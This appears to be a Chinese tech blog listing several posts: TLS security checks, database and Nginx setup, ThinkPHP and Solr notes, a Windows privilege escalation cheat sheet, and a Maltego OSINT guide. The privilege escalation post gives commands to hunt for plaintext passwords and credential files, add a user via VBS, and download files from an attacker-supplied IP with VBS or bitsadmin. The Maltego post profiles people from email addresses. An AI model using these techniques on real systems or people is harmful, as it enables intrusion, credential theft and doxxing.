gnutls-cli -p 443 --priority "NORMAL:-VERS-TLS1.1:-VERS-TLS1.0:-VERS-SSL3.0" www.google.com | grep -i version
显示”- Version: TLS1.2“就说明支持TLS 1.2。
使用OpenSSL工具也可以检测：
openssl s_client -tls1_1 -connect www.google.com:443 | grep -i protocol
openssl s_client -tls1_2 -connect www.google.com:443 | grep -i protocol
--------------------------------------------------------------
安全重协商支持：
--------------------------------------------------------------
gnutls-cli -d 5 -p 443  www.google.com
显示“Safe renegotiation succeeded“说明支持
--------------------------------------------------------------
客户端发起的重协商：
--------------------------------------------------------------
详情见：
http://www.solidot.org/story?sid=34026
--------------------------------------------------------------
公钥长度检测：
--------------------------------------------------------------
gnutls-cli  -p 443  www.google.com | grep -i key
如果公钥小于或者等于1024-bit，请根据业务场景重新评估安全性。
--------------------------------------------------------------
检测是否存在较弱的ciphersuites：
--------------------------------------------------------------
openssl s_client -cipher NULL,EXPORT,LOW,DES -connect www.google.com:443
如果执行成功代表有风险。
--------------------------------------------------------------
PFS( Perfect Forward Secrecy)，对性能有至少10%左右的损耗。
--------------------------------------------------------------
openssl s_client -cipher EDH,EECDH -connect www.google.com:443
如果成功说明支持PFS，这个特性是EFF强烈推荐的。
--------------------------------------------------------------
CRIME攻击是利用压缩算法，所以可以检测：
--------------------------------------------------------------
gnutls-cli www.google.com -p 443 | grep -i compress
如果显示“- Compression: NULL“就是安全的。
--------------------------------------------------------------
OpenSSL的Heartbeat特性：
--------------------------------------------------------------
openssl s_client -tlsextdebug -connect www.google.com:443 | grep -i heart
显示"TLS server extension heartbeat"说明此特性开启。
--------------------------------------------------------------
POODLE:
--------------------------------------------------------------
openssl s_client -ssl3 -fallback_scsv -connect www.google.com:443 | grep -i "alert ina"
显示"alert inappropriate fallback"则是安全的。
--------------------------------------------------------------
FREAK:
--------------------------------------------------------------
openssl s_client -cipher EXPORT -connect www.google.com:443
如果协商成功则说明有风险。
--------------------------------------------------------------
--[ 5. Weirdo audit
Grinch攻击虽然不是漏洞，但pkcon+wheel的组合场景还是需要注意，首先检查
wheel组是否存在：
grep -i wheel /etc/group
如果存在的话检查pkcon是否存在。
--[ 6. Reference
[1] 开源闭源项目代码质量对比
    http://www.solidot.org/story?sid=39173
[2] Back To The Future: Unix Wildcards Gone Wild
    http://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt
[3] SYNPROXY：廉价的抗DoS攻击方案
    www.solidot.org/story?sid=38791
[4] INTERNET PROTOCOL
    http://tools.ietf.org/html/rfc791
[5] A simple TCP spoofing attack
    http://www.citi.umich.edu/u/provos/papers/secnet-spoof.txt
[6] ICMP Attacks Illustrated
    http://www.sans.org/reading-room/whitepapers/threats/icmp-attacks-illustrated-477
[7] SUSE Linux Enterprise Server 11 SP3 - Security and Hardening
    https://www.suse.com/documentation/sles11/singlehtml/book_hardening/book_hardening.html
[8] Securing Debian Manual
    https://www.debian.org/doc/manuals/securing-debian-howto/
[9] A Brief Introduction to auditd
    http://security.blogoverflow.com/2013/01/a-brief-introduction-to-auditd/
[10] Apparmor RBAC
     http://wiki.apparmor.net/index.php/Pam_apparmor_example
[11] Hardening PHP from php.ini
     http://www.madirish.net/199
[12] CVE-2014-0196 exploit
http://bugfuzz.com/stuff/cve-2014-0196-md.c
[13] Secure Secure Shell
https://stribika.github.io/2015/01/04/secure-secure-shell.html

展开全文 >>

Python pyodbc 连接SQL Server

前言

最近在处理数据，有一批数据是在MSSQL中的，打算导出整理后扔到MongoDB中
网上找了下 Python有个叫pyodbc的库，自己本地在Mac上跑起来没啥问题，
不过将脚本迁移到Server上run的时候遇到了些问题，所以记录下

Run On Mac

直接安装微软官方的安装教程，就能跑起来

1
2
3
4
5
6
ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
brew tap microsoft/msodbcsql https://github.com/Microsoft/homebrew-msodbcsql
brew update
brew install msodbcsql
#for silent install ACCEPT_EULA=y brew install msodbcsql
sudo pip install pyodbc==3.1.1

Run On CentOS Server

服务器用的是CentOS
需要先安装gcc和python-devel

1
yum install python-devel gcc -y

然后再安装微软的这个教程来,就能跑起来了，
我的是CentOS 7,所以安装步骤为

1
2
3
4
5
sudo su
curl https://packages.microsoft.com/config/rhel/7/prod.repo > /etc/yum.repos.d/mssql-release.repo
exit
sudo yum remove unixODBC-utf16 unixODBC-utf16-devel #to avoid conflicts
sudo ACCEPT_EULA=Y yum install msodbcsql-13.1.4.0-1 mssql-tools-14.0.3.0-1 unixODBC-devel

而且我用的是zsh，所以后将相关环境变量放到zshrc就好了

1
2
3
echo 'export PATH="$PATH:/opt/mssql-tools/bin"' >> ~/.zshrc
echo 'export PATH="$PATH:/opt/mssql-tools/bin"' >> ~/.zshrc
source ~/.zshrc

展开全文 >>

Nginx 自签发SSL配置实例

env

Debian Linux

安装Nginx

1
apt-get install nginx

创建自签发SSL证书

我是把证书相关信息放在
/etc/nginx/ssl/文件夹中所以先创建该文件夹

1
mkdir /etc/nginx/ssl

创建SSL证书
gencert.sh
该文件我也放在/etc/nginx/ssl目录下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/bin/sh
# create self-signed server certificate:
read -p "Enter your domain [www.example.com]: " DOMAIN
echo "Create server key..."
openssl genrsa -des3 -out $DOMAIN.key 1024
echo "Create server certificate signing request..."
SUBJECT="/C=US/ST=Mars/L=iTranswarp/O=iTranswarp/OU=iTranswarp/CN=$DOMAIN"
openssl req -new -subj $SUBJECT -key $DOMAIN.key -out $DOMAIN.csr
echo "Remove password..."
mv $DOMAIN.key $DOMAIN.origin.key
openssl rsa -in $DOMAIN.origin.key -out $DOMAIN.key
echo "Sign SSL certificate..."
openssl x509 -req -days 3650 -in $DOMAIN.csr -signkey $DOMAIN.key -out $DOMAIN.crt
echo "TODO:"
echo "Copy $DOMAIN.crt to /etc/nginx/ssl/$DOMAIN.crt"
echo "Copy $DOMAIN.key to /etc/nginx/ssl/$DOMAIN.key"
echo "Add configuration in nginx:"
echo "server {"
echo "    ..."
echo "    listen 443 ssl;"
echo "    ssl_certificate     /etc/nginx/ssl/$DOMAIN.crt;"
echo "    ssl_certificate_key /etc/nginx/ssl/$DOMAIN.key;"
echo "}"

操作方法如下图
说明 https://www.trustasia.com/help/nginx-generate-csr.htm

图片标题

效果图

图片标题

展开全文 >>

Windows 提权方法总结

文章来源

BASIC WINDOWS PRIVILEGE ESCALATION
https://thel3l.me/blog/winprivesc/index.html
由于原文有些命令在中文Windows下无效，所以另外整理了下

系统信息

获取系统名称和版本

1
2
3
C:\Windows\system32>systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
OS 名称:          Microsoft Windows 10 专业版
OS 版本:          10.0.14393 暂缺 Build 14393

检查系统版本位数

如果是64位系统则返回”AMD64”否则返回”X86”

1
2
C:\>echo %PROCESSOR_ARCHITECTURE%
AMD64

X86

查看系统所有环境变量

1
2
3
4
5
6
7
8
C:\>SET
ALLUSERSPROFILE=C:\ProgramData
APPDATA=C:\Users\V\AppData\Roaming
CommonProgramFiles=C:\Program Files\Common Files
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
CommonProgramW6432=C:\Program Files\Common Files
COMPUTERNAME=V_V
ComSpec=C:\Windows\system32\cmd.exe

查看计算机所有用户

NET USER

net user

查看指定用户详细详细

NET USER USERNAME

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
C:\>net user Administrator
用户名                 Administrator
全名
注释                   管理计算机(域)的内置帐户
用户的注释
国家/地区代码          000 (系统默认值)
帐户启用               No
帐户到期               从不
上次设置密码           2016/9/18 10:40:15
密码到期               从不
密码可更改             2016/9/18 10:40:15
需要密码               Yes
用户可以更改密码       Yes
允许的工作站           All
登录脚本
用户配置文件
主目录
上次登录               从不
可允许的登录小时数     All
本地组成员             *Administrators       *Ssh Users
全局组成员             *None
命令成功完成。

网络信息

查看基本网络情况

IPCONFIG /ALL

IPCONFIG /ALL

查看路由表

route print

路由表信息

查看ARP缓存

arp -A

ARP缓存

防火墙相关

查看端口占用情况
netstat -ano

netstat -ano

防火墙配置
netsh firewall show config

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
C:\>netsh firewall show config
域 配置文件配置:
-------------------------------------------------------------------
操作模式                          = 启用
例外模式                          = 启用
多播/广播响应模式                 = 启用
通知模式                          = 启用
域 配置文件的允许的程序配置:
模式     流量方向             名称/程序
-------------------------------------------------------------------
域 配置文件的端口配置:
端口   协议    流量方向              名称
-------------------------------------------------------------------
域 配置文件的 ICMP 配置:
模式     类型  描述
-------------------------------------------------------------------
启用       2     允许出站数据包太大

防火墙状态
netsh firewall show state

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
C:\>netsh firewall show state
防火墙状态:
-------------------------------------------------------------------
配置文件                          = 标准
操作模式                          = 禁用
例外模式                          = 启用
多播/广播响应模式                 = 启用
通知模式                          = 启用
组策略版本                        = Windows 防火墙
远程管理模式                      = 禁用
所有网络接口上的端口当前均为打开状态:
端口   协议  版本  程序
-------------------------------------------------------------------
当前没有在所有网络接口上打开的端口。
重要信息: 已成功执行命令。
但不赞成使用 "netsh firewall"；
而应该使用 "netsh advfirewall firewall"。
有关使用 "netsh advfirewall firewall" 命令
而非 "netsh firewall" 的详细信息，请参阅
http://go.microsoft.com/fwlink/?linkid=121488
上的 KB 文章 947709。

应用程序和服务

查看正在运行的程序和服务

schtasks /QUERY /fo LIST /v
以list的形式输入详细信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
主机名:                             VVV
任务名:                             \Microsoft\XblGameSave\XblGameSaveTaskLogon
下次运行时间:                       N/A
模式:                               就绪
登录状态:                           交互方式/后台方式
上次运行时间:                       2016/9/17 21:05:59
上次结果:                           0
创建者:                             Microsoft
要运行的任务:                       %windir%\System32\XblGameSaveTask.exe logon
起始于:                             N/A
注释:                               XblGameSave Logon Task
计划任务状态:                       已启用
空闲时间:                           仅在空闲  分钟后启动, 如果没空闲，重试  分钟 如果空闲结束，停止任务
电源管理:                           不用电池启动
作为用户运行:                       SYSTEM
删除没有计划的任务:                 已禁用
如果运行了 X 小时 X 分钟，停止任务: 02:00:00
计划:                               计划数据在此格式中不可用。
计划类型:                           登陆时
开始时间:                           N/A
开始日期:                           N/A
结束日期:                           N/A
天:                                 N/A
月:                                 N/A
重复: 每:                           N/A
重复: 截止: 时间:                   N/A
重复: 截止: 持续时间:               N/A
重复: 如果还在运行，停止:           N/A

查看服务的进程ID

tasklist /SVC

tasklist /SVC

查看已安装的驱动程序列表

DRIVERQUERY

1
2
3
4
5
6
7
8
9
10
11
12
C:\>DRIVERQUERY
模块名       显示名称               驱动程序类型  链接日期
============ ====================== ============= ======================
1394ohci     1394 OHCI Compliant Ho Kernel        2016/7/16 10:21:36
3ware        3ware                  Kernel        2015/5/19 6:28:03
ACPI         Microsoft ACPI Driver  Kernel        2016/7/16 10:10:47
AcpiDev      ACPI 设备驱动程序      Kernel        2016/7/16 10:29:10
acpiex       Microsoft ACPIEx Drive Kernel        2016/7/16 10:28:23
acpipagr     ACPI 处理器聚合器驱动  Kernel        2016/7/16 10:29:00
AcpiPmi      ACPI 电源表驱动程序    Kernel        2016/7/16 10:19:44
acpitime     ACPI 唤醒警报驱动程序  Kernel        2016/7/16 10:29:20

也可以通过WMIC获取更多信息

查看已安装程序相关信息(包括程序名、供应商、版本、识别号等)
Caption、Identifying Number 、Name、Vendor、Version
比如我安装的XShell相关信息如下

1
2
3
4
5
Xshell 5
{F3FDFD5A-A201-407B-887F-399484764ECA}
Xshell 5
NetSarang Computer, Inc.
5.0.0983

按照类似的方法还可以获取 服务、进程、和启动项相关信息

1
2
3
4
5
6
# Lists services
wmic service list brief
# Lists processes
wmic process list brief
# Lists startup items
wmic startup list brief

查看是否有可作为非特权用户执行的msi文件
如果没有则会返回”错误: 系统找不到指定的注册表项或值。”

1
2
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

查看setuid或setgid是否被修改过
只存在于Windows Servers中

1
reg query HKEY_Local_Machine\System\CurrentControlSet\Services\NfsSvr\Parameters\SafeSetUidGidBits

查看系统更新记录
wmic qfe get Caption,Description,HotFixID,InstalledOn

1
2
3
4
5
C:\Windows\system32>wmic qfe get Caption,Description,HotFixID,InstalledOn
Caption                                     Description      HotFixID   InstalledOn
http://support.microsoft.com/?kbid=3176936  Update           KB3176936  8/26/2016
http://support.microsoft.com/?kbid=3188128  Security Update  KB3188128  9/16/2016
http://support.microsoft.com/?kbid=3189866  Security Update  KB3189866  9/16/2016

1
2
3
#还可以搜索可提升权限的特定漏洞，比如
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3189031"
#如果没有返回信息则说明没安装该补丁

##敏感数据和目录

搜索未加密的密码或其它敏感信息

1
2
3
4
5
6
7
8
9
#进入系统盘根目录
cd/
#返回该分区所有名为password.txt的文件的路径
dir /b/s password.txt
#返回该分区所有以config开头的文件的路径
dir /b/s config.*
#在特定格式的文件中搜索特定信息，比如
findstr /si password *.xml *.ini *.txt
findstr /si login *.xml *.ini *.txt

在一些大型企业中，系统可能是通过脚本自动安装的，一些文件中可能存在包含base64编码的日志，这些文件一般位于如下路径

1
2
3
4
C:\sysprep.inf
C:\sysprep\sysprep.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml

##文件系统

了解有什么样的访问权限、可访问目录等

###使用其他语言绕过一些限制
以Python为例(如果目标机器安装了Python)

1
2
3
4
5
6
7
8
9
10
11
C:\>python
Python 2.7.12 (v2.7.12:d33e0cf91556, Jun 27 2016, 15:24:40) [MSC v.1500 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import os; os.system("cmd /c net user")
\\VV 的用户帐户
-------------------------------------------------------------------------------
Administrator            DefaultAccount           defaultuser0
Guest                    Junhu
命令成功完成。

使用VBS脚本

1
2
3
4
5
D:\>copy con commandExec1.vbs
Call WScript.CreateObject("Wscript.Shell").Run("cmd /K net user demo /add", 8, True)^Z
已复制         1 个文件。
D:\>commandExec1.vbs

###或者通过打开一个ftp来执行相关命令

1
2
3
4
5
#使用copy con创建批处理文件,输入"ftp"按CTRL+z后回车，即可创建成功
copy con run_ftp.bat
#运行文件
run_ftp.bat
ftp>!dir

###检查可写文件

1
dir /a-r-d /s /b

##使用脚本

###使用VB脚本下载相应东西到目标主机

来自 Igor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
' downloadfile.vbs
' Set your settings
strFileURL = "http://{YOUR_IP}/{FILE_NAME.EXT}"
strHDLocation = "c:\\{FILE_NAME.EXT}"
' Fetch the file
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1 'adTypeBinary
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0 'Set the stream position to the start
Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
Set objXMLHTTP = Nothing

运行下载脚本

1
cscript.exe downloadfile.vbs

####bitsadmin

或者如果你知道目标主机为Windows 7 以上的操作系统，则可使用bitsadmin实现下载
目标url:http://static.myhack58.com/img/logo.jpg
保存地址:D:\logo.jpg

1
bitsadmin /rawreturn /transfer getfile http://static.myhack58.com/img/logo.jpg D:\logo.jpg

Exploits and shellcode

http://www.exploit-db.com
http://1337day.com
http://0day.today
http://www.securityfocus.com
http://seclists.org/fulldisclosure/
http://www.exploitsearch.net
http://www.securiteam.com
http://metasploit.com/modules/
http://securityreason.com
https://cxsecurity.com/exploit/
http://securitytracker.com/

其他优秀资源

rmusser01’s GitHub document to Post Exploitation on Windows
Tim Arneaud on Windows Privilege Escalation
An article on WMIC
Luke Jennings on Group Policy Hijacking Attacks
Toying with the Windows API
enaqx - Excellent curated collection of content

PowerShellMafia’s PowerSploit
The SysInternals suite
Windows Credential Editor
Mimikatz - Credential Extraction
GDSSecurity’s Windows Exploit Suggester
SpiderLab’s Responder - A LLMNR, NBT-NS and MDNS poisoner
PowerShellEmpire’s Empire - Pure PowerShell post-exploitation agent
rabbitstack’s fibratus - A tool for exploration and tracing of the Windows kernel

展开全文 >>

ThinkPHP折腾笔记

开始

将ThinkPHP下载后，解压至网站根目录
为了快速安装PHP环境，我使用的是phpStudy
在ThinkPHP的同级目录创建index.php，文件内容为

1
2
3
4
5
6
<?php
define('APP_DEBUG',true);
define('APP_NAME', 'App');
define('APP_PATH','./App/');
require('./ThinkPHP/ThinkPHP.php');

该文件会创建名为App的文件夹，目录结构大概这样子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
.
├── Common
├── Conf
│   ├── config.php
├── Lang
├── Lib
│   ├── Action
│   │   └── IndexAction.class.php
│   ├── Behavior
│   ├── Model
│   └── Widget
├── Runtime
│   ├── Cache
│   │   ├── 9885ecc411f90bec36756701bd64bb4a.php
│   │   └── f331a3f0d874c4248458495ef2c2c2d1.php
│   ├── Data
│   ├── Logs
│   │   └── 16_11_27.log
│   └── Temp
└── Tpl

start

如果要添加函数，可在Common文件夹下创建common.php文件进行实现，然后在lib/Action/IndexActionclass.php中直接通过函数名进行调用。比如

1
2
3
4
5
 cat Common/common.php
<?php
function show(){
  echo 'hello world1';
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
cat Lib/Action/IndexAction.class.php
<?php
// 本类由系统自动生成，仅供测试用途
class IndexAction extends Action {
    public function index(){
      //echo C('name'),'<br/>';
      //echo C('sex');
    //  echo C('URL_MODEL'),'<br/>';
      //echo U('index/user',array('id'=>1),'html',false,'localhost');
      show();
      // $arr=array(1,2,3,4,5);
      // dump($arr);
      // $this->display();
    }
    public function user(){
      echo 'id is:'.$_GET['id'].'<br/>';
      // echo '这里是INDEX模块的user方法';
    }
}

如果要添加模板的话

1
2
3
在Tpl目录下创建函数同名的文件夹如Index在该文件夹中创建index.html，
然后在IndexAction.class.php通过$this->display();进行调用
如果Tpl/Index目录下有多个html，则通过$this->display('文件名');进行调用
1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>Document</title>
</head>
<body>
Hello World.
</body>
</html>

模板输入

1
2
3
4
{$now|date='Y-m-d H:i:s',###}<p/>
{$Think.now}<p/>
{$Think.version}<p/>

for循环

1
2
3
<for start='1' end='10'  name='k'>
  {$k}<br/>
</for>

if

1
2
3
4
5
<if condition='$num gt 10'>
  num > 10
<elseif condition="$num lt 10"/>num < 10
<else/>num===10
</if>

展开全文 >>

solr分布式环境配置

搭建zookeeper集群

使用的是三个节点，分别为
192.168.64.132 node2
192.168.64.130 node1
192.168.64.131 node3

在节点中分别配置主机名IP隐射关系

1
echo '192.168.64.132  node2\n192.168.64.130  node1\n192.168.64.131  node3'   >> /etc/hosts &&  source /etc/hosts

创建相关文件夹

在各节点根目录中创建 soft文件夹并将下载好的zookeeper解压至该文件夹

1
tar -zxvf zookeeper-3.5.2-alpha.tar.gz -C /soft/

新建zookeeper数据存储文件夹和日志存储文件夹

1
2
mkdir /soft/zookeeper-data
mkdir /soft/zookeeper-data/logs

新建节点标示

以node1为例
其他节点以此类推

1
echo 1 > /soft/zookeeper-data/myid

编辑配置文件

1
2
3
cd /soft/zookeeper-3.5.2-alpha/
mv conf/zoo_sample.cfg conf/zoo.cfg
vim /conf/zoo.cfg
1
2
3
4
5
dataDir=/soft/zookeeper-data
dataLogDir=/soft/zookeeper-data/logs
server.1=node1:2888:3888
server.2=node2:2888:3888
server.3=node3:2888:3888

配置完成后把配置发送到其他两台机子

启动zookeeper

1
2
3
4
5
➜  zookeeper-3.5.2-alpha bin/zkServer.sh start conf/zoo.cfg
/usr/bin/java
ZooKeeper JMX enabled by default
Using config: conf/zoo.cfg
Starting zookeeper ... STARTED

验证是否启动成功

1
2
3
4
5
6
➜  zookeeper-3.5.2-alpha bin/zkServer.sh status conf/zoo.cfg
/usr/bin/java
ZooKeeper JMX enabled by default
Using config: conf/zoo.cfg
Client port found: 2181. Client address: localhost.
Mode: leader

安装Java环境

1
apt-get install openjdk-8-jre-headless

运行solr

解压 并运行下载好的solr

1
2
3
4
tar -zxvf solr-6.2.1.tgz
root@tp-ubuntu:/opt/solr-6.2.1# ./bin/solr start
Waiting up to 30 seconds to see Solr running on port 8983 [-]  
Started Solr server on port 8983 (pid=20810). Happy searching!

效果图

效果图

创建/solr目录

1
2
3
4
5
# 进入zookeeper后台命令，默认连接本地localhost:2181
./zookeeper/bin/zkCli.sh
# 创建目录
create /solr "solr"

初始化solr配置文件

上传solr自带配置文件到zookeeper的/solr/configs目录下

1
./bin/solr zk -z localhost:2181/solr -upconfig -n solr -d example/example-DIH/solr/solr

参数说明

1
2
3
4
-upconfig to move a configset from the local machine to Zookeeper.
-n configName    Name of the configset in Zookeeper that will be the destinatino of 'upconfig' and the source for 'downconfig'.
-d confdir       The local directory the configuration will be uploaded from
-z zkHost        Zookeeper connection string.

补充说明

1
2
使用自定义ZooKeeper connection string启动Solr。该选项只能在-c选项，即SolrCloud模式下使用。如果该选项未提供，Solr将启动内置ZooKeeper实例
如果指定ZooKeeper连接字符串，例如"-z 192.168.64.133:2181"，Solr将连接到ZooKeeper并加入集群。如果以cloud模式启动，但没有指定-z选项，则Solr启动内置ZooKeeper服务器，坚挺在Solr端口+1000，例如Solr在端口8983，则内置ZooKeeper监听在端口9983

查看zookeeper目录：
以前的schema.xml换成了managed-schema文件，具体配置文档：
https://cwiki.apache.org/confluence/display/solr/Documents%2C+Fields%2C+and+Schema+Design

使用solr自带的jetty启动服务

1
2
cd /soft/solr
bin/solr start -c -m 1g -z node1:2181/solr,node2:2181/solr,node3:2181/solr -p 8983
1
2
3
4
-c：cloud模式启动
-m：最大内存使用
-z：zookeeper集群地址
-p：启动服务端口

分别在其他节点上也以此方式启动solr

创建collections集群

1.通过浏览器访问http://192.168.64.130:8983/solr
创建集群

或者通过restful api创建collections集群

1
curl 'http://localhost:8983/solr/admin/collections?action=CREATE&name=solr&numShards=3&replicationFactor=2&maxShardsPerNode=2'
1
2
3
4
5
6
name：待创建Collection的名称
configset：collection在zookeeper中的配置目录
numShards：分片的数量
replicationFactor：复制副本的数量
maxShardsPerNode：默认值为1，注意三个数值：numShards、replicationFactor、liveSolrNode，一个正常的solrCloud集群不容许同一个liveSolrNode上部署同一个shard的多个replic，因此当maxShardsPerNode=1时，numShards*replicationFactor>liveSolrNode时，报错。因此正确时因满足以下条件：
numShards*replicationFactor<liveSolrNode*maxShardsPerNode

最终效果图

导入配置

最后一条命令需要指定到具体配置目录
执行命令结束后，需要到也没reload下core

1
2
bash /dat0/solr/server/scripts/cloud-scripts/zkcli.sh -cmd linkconfig -zkhost localhost:9983 -collection cninfo -confname cninfoconf
bash /dat0/solr/server/scripts/cloud-scripts/zkcli.sh -cmd upconfig -zkhost localhost:9983 -confname cninfoconf -confdir /dat0/solr/server/cloud/conf/

展开全文 >>

Maltego--数据挖掘工具

公司介绍

公司信息

官网
http://www.paterva.com

1
2007年于南非开普敦成立，后不久发布Maltego,先今拥有超40W注册用户

有条件的同学也可以通过下面两个连接查看更多信息

Blog
http://maltego.blogspot.com/
YouTube(有很多关于Maltego的视频)
https://www.youtube.com/user/PatervaMaltego

公司产品

Maltego Clients

1
2
3
4
Maltego CE
Maltego Classic
Maltego XL
CaseFile

Maltego Servers

1
2
3
CTAS(Commercial Transform Application Server 商业Transform应用服务器)
ITDS(internal Transform Distribution Server内部分发服务器)
COMMS SERVER(Communications Server通信服务器)

Maltego介绍

什么是Maltego

交互式数据挖掘工具,用于在线发现、分析位于互联网上各种来源信息之间的关系的工具。 (如DNS、Whois、还有通过各种系统API提取数据)；能够整合与几乎任何数据源。
有三个版本

1
2
3
Maltego CE
Maltego Classic
Maltego XL

Maltego CE

Community Editions 社区版

1
包含大部分与商业版本相同的功能，但不可用于商业用途，在返回结果时也有相应的数量限制，不支持导出结果图表

Maltego Class

经典是商业版

1
2
包括对所有 Paterva 标准 OSINTtransforms 最大运行枚举10K对象及他们之间的关系
支持导出结果为常用图片格式和PDF

Maltego XL

Maltego 增强版
2016年7月发布

1
适用于超大规模实体枚举

插件

可在 官网 上查询到更多详细详细
一般都需要API Key

Transform

实例

https://www.paterva.com/web7/docs/use_cases.php

产品介绍-详细

介绍

Maltego是一款 交互式数据挖掘工具,用于在线发现、分析位于互联网上各种来源信息之间的关系的工具。 (如DNS、Whois、还可通过各种系统API提取数据)；能整合与几乎任何数据源。

Client各版本区别

版本区别

CaseFile

用于离线分析和查看数据直接的联系
下载页面
http://www.paterva.com/web7/downloads.php
下载连接(以Windows为例)
http://www.paterva.com/cf211/MaltegoCaseFileSetup.v2.1.1.8751.exe
程序截图

CaseFile截图

MaltegoCE

Maltego的社区版本
包含大部分与商业版本相同的功能，但不可用于商业用途，在返回结果时也有相应的数量限制，不支持导出结果图表
下载地址
http://www.paterva.com/malv36/community/MaltegoCESetup.v3.6.0.6640.exe
设置代理(注册需要),Paterva公司官网要使用Google的验证码，Matego产品账号登录也需要验证码，如果没有代理则无法注册和登录

1
官网注册账号

官网注册

1
账号激活

账号激活

1
Maltego设置代理

Maltego设置代理

1
Maltego登录账号

如果没设置的话登录账号是这个样子

没设置代理登录账号

设置代理后输入用户名密码和验证码登录成功

登录成功

Maltego XL

Maltego 增强版
2016年7月发布

1
2
适用于超大规模实体枚举
注册、安装方法和Maltego类似，

Maltego集成Nmap

相关代码

https://github.com/san-na/Maltego-Nmap-Transforms

相关配置

效果图

效果图

不过在windows上相关依赖还没解决

windows

实战-域名相关信息查询

新建Graph

通过如下方式或者Ctrl+T新建Graph

新建Graph

新建查询实体

在软件左侧Entity Palette侧可根据相应需求选定查询实体
如本次选择的为Domain，按住鼠标左键拖至Graph区域即可

新建查询实体

输入实体名称

输入实体名称的两种方式

获取实体信息

在实体区域内点击鼠标左键即可通过相应选项查询对应的信息

通过域名获取DNS名称

通过域名获取DNS名称

获取DNS名称

通过DNS获取IP

替代文字

也可以通过robtex获取DNS记录
To DNS Name-interesting-[using DB]
To DNS Name[using DB]
https://www.robtex.com/q/x?q=google.com
To DNS Name[Find common DNS names]—获取常见的DNS记录如smtp、ftp、mail等
To DNS Name[via Shodan]—感觉获取的记录很少

域传送

域传送是指后备服务器从主服务器拷贝数据，并用得到的数据更新自身数据库
DomainToDNSZoneTransfer—对所有可用域名
To DNS Name [Attempt zone transfer]—对A记录和CNAME
存在域传送漏洞的部分学校域名

1
2
3
4
#域传送的危害
可获取目标网络的
网络的拓扑结构，服务器集中的IP地址段
敏感主机或服务器的域名和IP地址，比如数据库服务器，测试服务器等

域传送

通过域名获取SOA信息

Start of Authority 起始授权记录,SOA定义了域的全局参数，进行整个域的管理设置
DomainToSOAInformation

SOA

通过域名获取SPF信息

Sender Policy Framework 发送方策略框架 是为了防范垃圾邮件而提出来的一种DNS记录类型，它是一种TXT类型的记录，它用于登记某个域名拥有的用来外发邮件的所有IP地址。
DomainToSPFInformation

SPF

搜索子域名记录

通过dnsdumpster 和SP Toolkit获取子域名记录

1
2
dnsdumpster 是安全公司Hacker Target的项目
https://dnsdumpster.com/

1
2
3
SP Tookit    Simple Phishing Toolkit  简单网络钓鱼工具包
部分介绍
http://krebsonsecurity.com/2012/01/phishing-your-employees-101/#more-12532

通过Netcraft和SP Toolkit获取子域名记录
Netcraft可查看域名的历史解析记录和域名相关的一些其他信息
http://toolbar.netcraft.com/site_report?url=www.Google.com

两种方法获取到的区别

域名威胁情报收集

ThreatCrowdEnrichDomain
Threatcrowd http://mail.threatcrowd.org/
一个威胁搜索引擎，能让用户搜索和调查与IP、网站或机构相关的威胁

威胁情报

获取域名MX、NS记录

To DNS Name-MX(mail server)
To DNS Name-NS(name server)

1
2
MX: 邮件交换记录 用于将以该域名为结尾的电子邮件指向对应的邮件服务器以进行处理
NS:解析服务器记录 用来表明由哪台服务器对该域名进行解析

MX、NS

获取该域名格式的其他顶级域名记录

To Domain[Find other TLDs]
TLD–>Top Level Domain
比如baidu.com的

baidu

获取域名相关Email信息

通过Google搜索引擎
To Emails @domain[using Search Engine]

Google

通过whois
To Email address[from whois info]

Whois

通过公共PGP密钥服务器检索该域名邮件地址
To Email addresses[PGP]

PGP

获取域名whois信息

whois

获取域名文件信息

To Files(interesting)[using Search Engine]
To Files(Office)[using Seing Engine]
以苏州大学(suda.edu.cn)为例

suda.edu.cn

部分文件信息

实战社工-Email

获取别名

Email To Alias

Alias

在获取到别名后，又可以通过别名进行如下方式的查询

Alias To other search

获取Facebook

从个人资料中匹配出Facebook
[Facebook]Email to Profile

Email to Profile

从密码找回页面中匹配出Facebook
[facebook]Get info from password recovery page

password recovery page

获取Foursquare

[foursquare]Search Person by Email(+facebook, twitter)
https://foursquare.com/
Foursquare是一家基于用户地理位置信息（LBS）的手机服务网站，并鼓励手机用户同他人分享自己当前所在地理位置等信息

Foursquare

获取G+(Google+)

[G+]Email To Profile
